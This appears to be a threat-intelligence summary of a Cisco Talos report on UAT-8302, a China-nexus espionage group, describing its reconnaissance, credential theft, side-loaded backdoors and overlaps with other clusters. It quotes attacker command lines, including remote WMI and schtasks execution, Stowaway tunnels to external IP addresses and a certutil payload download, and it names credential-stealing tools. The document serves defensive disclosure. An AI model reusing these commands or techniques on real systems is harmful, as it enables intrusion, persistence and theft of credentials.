On 5 May 2026, Cisco Talos researchers Jungsoo An, Asheer Malhotra, and Brandon White published a threat-spotlight disclosure of UAT-8302, a China-nexus advanced persistent threat actor primarily tasked with obtaining and maintaining long-term access to government and related entities worldwide. UAT-8302 has been targeting government entities in South America since at least late 2024 and expanded its targeting to government agencies in southeastern Europe in 2025. Talos assesses with high confidence that UAT-8302 is China-nexus based on heavy malware-portfolio overlap with multiple previously disclosed China-nexus clusters and the use of custom and open-source tooling written in Simplified Chinese.

Initial access methods are not directly observed in this campaign, but the actor's tooling overlaps with APT clusters known to exploit both zero-day and n-day vulnerabilities (e.g., UAT-6382's exploitation of Cityworks zero-day CVE-2025-0994 to deploy VSHELL via SNOWLIGHT). Once inside, UAT-8302 conducts extensive preliminary reconnaissance using Impacket, certutil, nslookup, net.exe, systeminfo, and ipconfig, then escalates to a custom-made PowerShell script ('whatpc.ps1') persisted via scheduled task (e.g., 'ReconLiteDebug', 'RunWhatPC') executing as SYSTEM. The script enumerates local groups and admin membership, network configuration, listening connections, SMB shares, AD users, computers, groups, and trust relationships via nltest, dsmod, and dsquery. Ping sweeps and SMB share-discovery loops over /24 subnets identify proliferation targets, and event logs (Security IDs such as 4768) are queried for administrator activity. Audit policy is enumerated via 'auditpol /get /category:*'. The actor downloads 'gogo' (a GoLang automated network scanner written in Simplified Chinese) directly from its GitHub release URL, alongside QScan, naabu, dddd, PortQry, and httpx.

UAT-8302 collects information using adconnectdump.py for Azure AD Connect / Entra ID Connect credential extraction, manual PowerShell Get-ADUser/Get-ADComputer/Get-ADGroup queries, AD Explorer snapshots packaged with 7zr.exe, and Get-WinEvent log harvests. A Chinese-language tool called 'SharpGetUserLoginIPRP' (deployed as C:\ProgramData\S.exe) extracts login information from domain controllers. MobaXterm credentials are stolen via MobaXtermDecryptor for SSH pivot.

Lateral movement is performed via Impacket and WMI remote process creation ('wmic /node:IP process call create', 'schtasks /S IP'), invoking BAT files that execute the malware on remote systems.

Custom malware deployment uses DLL side-loading triads: a benign signed executable, a malicious DLL loader, and an encoded data file. NetDraft (a .NET-based variant of FinalDraft/SquidDoor; ESET tracks the same family as 'NosyDoor' attributed to LongNosedGoblin; Solar reported NetDraft was used by Erudite Mogwai/LuckyStrike Agent against Russian IT in 2024) embeds a Fody/Costura-compressed .NET helper library Talos tracks as 'FringePorch'. NetDraft uses MS Graph API to communicate with its OneDrive-based C2 and can execute arbitrary commands, run .NET assemblies, perform file operations, and execute .NET plugins. Because NetDraft lacks native persistence, the C2 issues a scheduled-task creation command pointing to 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe'.

CloudSorcerer v3 (an updated version of the malware Kaspersky disclosed in 2024 against Russian government) uses a side-loading triad with executables 'Yandex.exe' and 'VMtools.exe' loading 'mspdb60.dll', which decrypts an INI shellcode file ('test.ini' or 'VM.ini') and injects it into named processes. The shellcode behaves differently per host process: 'dpapimig.exe' gathers system info and listens on a named pipe for commands; 'spoolsv.exe' contacts a GitHub repository or GameSpot profile to obtain C2 information (URL, OneDrive/Dropbox token); 'mspaint.exe' or 'browser' triggers injection back into dpapimig.exe/spoolsv.exe.

VSHELL is delivered via a related triad in which a benign executable side-loads a malicious 'wininet.dll' that reads a BIN file and injects position-independent shellcode into 'explorer.exe'. The shellcode is the SNOWLIGHT stager, which downloads and single-byte XOR-decodes the next stage (key 0x99) — the same single-byte key and stager observed by Talos in UAT-6382's 2025 deliveries. UNC5174 has previously used SNOWLIGHT to download Sliver and VSHELL. UAT-8302 also uses 'SNOWRUST', a Rust-based variant of SNOWLIGHT built on the LexiCrypt Rust shellcode obfuscator that decodes embedded SNOWLIGHT shellcode to download the XOR-encoded VSHELL payload. In one intrusion, UAT-8302 used VSHELL to deploy the System Monitoring filter driver from the Hades open-source HIDS/HIPS framework (written in Simplified Chinese) to register kernel callbacks for process, thread, registry, and file events — enabling event hiding.

In one instance, UAT-8302 deployed SNAPPYBEE/DeedRAT and almost immediately switched to ZingDoor — a DLL-based malware first disclosed by Trend Micro in 2023 and attributed to Earth Estries. ZingDoor has also been observed after ToolShell exploitation in 2025. Draculoader, a generic shellcode loader used by Earth Estries and Earth Naga, was deployed in parallel from 'C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll'.

For backup access, UAT-8302 sets up Stowaway proxies (a Chinese-language tunneling tool — 'wagent.exe -c 85.209.156.3:56456', 'mmc.exe -l 85.209.156.3:56456 -s <pass>', 'ag531.exe -c 45.135.135.100:443'), anyproxy ('any.exe' in C:\users\public\), and SoftEther VPN clients ('Communicator.exe /usermode' from a Rar-archived bundle staged via certutil from hxxp://38.54.32.244/Rar.exe).

Malware overlap connects UAT-8302 to a web of China-nexus clusters: NetDraft/FinalDraft/Squidoor — Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin; CloudSorcerer — original Kaspersky-disclosed actor; SNOWLIGHT/VSHELL — UAT-6382, UNC5174, UNC6586; SNAPPYBEE/ZingDoor — Earth Estries; Draculoader — Earth Estries and Earth Naga. NetDraft has additionally been observed in operations attributed to Erudite Mogwai (LuckyStrike Agent).